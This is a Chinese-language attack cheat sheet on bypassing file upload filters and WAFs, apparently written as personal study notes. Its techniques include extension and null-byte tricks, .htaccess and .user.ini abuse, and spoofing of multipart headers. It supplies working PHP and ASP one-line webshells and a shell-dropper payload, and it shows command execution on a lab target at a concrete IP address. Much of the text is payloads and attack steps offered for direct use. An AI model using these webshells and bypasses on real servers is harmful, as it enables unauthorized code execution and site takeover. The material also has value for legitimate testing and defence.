最后必然失去的希望就是毒药啊。
个人对上传漏洞的理解在第一章节就说过了,这里稍微复述一下。上传漏洞按个人理解分两种,第一种是代码层的。即代码过滤不严格,或者使用客户端本地校验。第二种是服务层的,比如iis6.0的解析漏洞,apache的解析漏洞。第三种就是前面结合在一起的,比如代码层过滤了部分内容都是能绕过,然后通过服务器层的解析漏洞上传成功。
上传之前要探测环境,获取web容器是IIS还是Apache还是nginx,然后获取脚本语言是PHP还是aspx。最好能获取到他们使用的版本。
上传突破
然后根据一些经验开始做测试,按照下面步骤一步一步来测试。
- 如果是客户端验证,禁用JavaScript即可
- 如果是content-type验证,抓包修改content-type的数据为image/jpeg,然后还要加上文件头GIF89a,注意大小写
- 如果是Apache,尝试上传.htaccess文件。一般能上传htaccess就没问题了,排除一些可能会过滤的后缀,比如他过滤了php后缀,你就在htaccess中修改成ppphhhppp,然后上传这个后缀的文件,用法我也在写下面一起
- 如果是Apache,上传m.php2,m.php3,m.php5,m.pht,m.html或者m.php.rar.zip.zza.eaa等等测试
- 如果是Nginx,图片中嵌入PHP代码然后通过访问m.jpg%00.php或者m.jpg/.php链接菜刀
- 如果是Nginx,可以上传内容为<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>的test.jpg,然后访问test.jpg/.php,自动生成shell.php
- 如果是nginx,可以使用.user.ini,这玩意和htaccess功能差不多,怎么用我写在下面
- 如果是黑名单机制的话,可以尝试大小写绕过,如果不行的话试一试别的后缀,比如jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee等等
- 如果服务器是win的话,上传m.php(.)(空格)(.)(空格)(.)(空格)多测试几次,单独加上(.)(空格)这样
- 如果服务器是win的话,上传m.php::$DATA测试
- 如果服务器是win的话,上传m.php(空格)(.)(空格)(.)(空格)多测试几次
- 如果代码层会匹配后缀名然后删除的话,上传m.pphphp测试
- 如果上传的路径可控的话,一般可以结合00截断上传。比如文件名改成m.jpg,上传路径改成../upload/m.php%00,如果请求是POST方法的话,一样加上%00然后手动右键url-decode。上传路径只要出现都可以测试一下截断。
- 上传gif格式图片马,在图片马内容前面加上几行GIF89a,上传jpg格式图片马,在内容加上JPGGraphic File,如果上传的地方只能上传zip压缩文件,修改文件头加上Zip Compressed,
- 尝试双文件上传filename=”a.txt”;filename=”a.php”
ini用法
nginx的user.ini用法,
要求如下:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的PHP文件
创建方法如下:
- 创建一个.user.ini文件
内容为
GIF89a
auto_prepend_file=1.txt
需要该目录下有一个可执行php文件,比如你要知道当前目录下有比如index.php这样
1.txt的内容为
<?php eval($_GET[1]);?>
然后访问
/?1=system("ls");
如果发现敏感文件。就读取。我用cat读取不出来,就用tac发现读取出来的,真奇怪,反正多测试几次。
当然还可以使用php的命令读取
?a=print_r(scandir('.'));
可以发现一个文件名很长的文件
?a=highlight_file('xxx')
可以读取这个文件
靶场有i个奇怪的问题,上传后网址是:
http://111.33.14.218:26602/uploads/14821d74709dd949f7bbb4967a83ec77/m.jpg
但是没法链接,把后面的m.jpg去掉就可以,真奇怪
http://111.33.14.218:26602/uploads/14821d74709dd949f7bbb4967a83ec77/
这样就可以连接上,奇怪??
网上说任何文件都行,但是我测试只有txt才成功,不懂为啥,然后另一个靶场jpg也能成功,无语了
htaccess
创建一个txt写入
AddType application/x-httpd-php .jpg
- 上传图片马,直接访问这个图片马一样能当作脚本执行
图片马的内容可以是:
GIF89a
<?php eval($_REQUEST['m']);?>
关于服务器层的解析漏洞在lab 1 中有一个很好的整理地址
一句话木马变形
<script language="php">eval($_POST['m']);</script>
<script language="php">eval($_REQUEST['m']);</script>
如果过滤了<?>
注意我们这里m就是密码
图片过滤就加上大写的GIF89a
GIF89a
<?php eval($_REQUEST['m']);?>
过滤php就用这个
<?=eval($_REQUEST['m']);?>
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["m"]);
?>
蚂蚁链接的时候,需要选择base64编码一下
<?php
@call_user_func(assert,$_POST['m']);
?>
蚂蚁链接的时候,需要选择base64编码一下
从这里:https://blog.csdn.net/web22050702/article/details/135204053
选几个喜欢的吧,都可以用
apache 0a截断上传
当上传文件名可控的时候,在burp这里的hex编码,php的位置后面,插入0a
文件名可控
这个位置,右键插入多个字节,输入0A
变成这个样子
然后就是属于0A截断了,绕过WAF来上传
然后访问 http://muma.com/shell.php%0a
oo截断
使用%00截断有两个要求:
1、php的版本 < 5.3.4
2、php.ini中的magic_quotes_gpc的状态为Off
get请求方式
上传漏洞的缺陷在于上传的路径可控,上传路径名%00截断绕过。上传的文件名写成m.jpg, save_path改成../upload/m.php%00,最后保存下来的文件就是m.php
post请求方式
抓包发现save_path是通过post传进来的,同样适用%00截断上传。但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
第一种是直接修改
第二种是在hex中修改
思路总结
黑名单:
- 特殊解析后缀绕过
- .htaccess/usr.ini解析绕过
- 大小写绕过
- 点绕过
- 空格绕过
- ::$$DATA数据流绕过
- 配合解析绕过
- 双后缀解析绕过
白名单:
- Content-Type绕过
- %00截断
- 0x0a截断
其他类型:
- 文件头检测
- 二次渲染
- 条件竞争
- 突破getimagesize
- 突破exif_imagetype
WAF绕过
垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
filename
针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
利用waf本身缺陷
删除实体里面的Conten-Type字段
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
示例:
1. if ($_FILES["fileToUpload"]["size"] > 30) {
2. echo "Sorry, your file is too large.";
3. }
以上代码将限制大小超过30字节的文件上传。我们可以通过上传一个30字节以内大小的恶意payload文件来绕过它。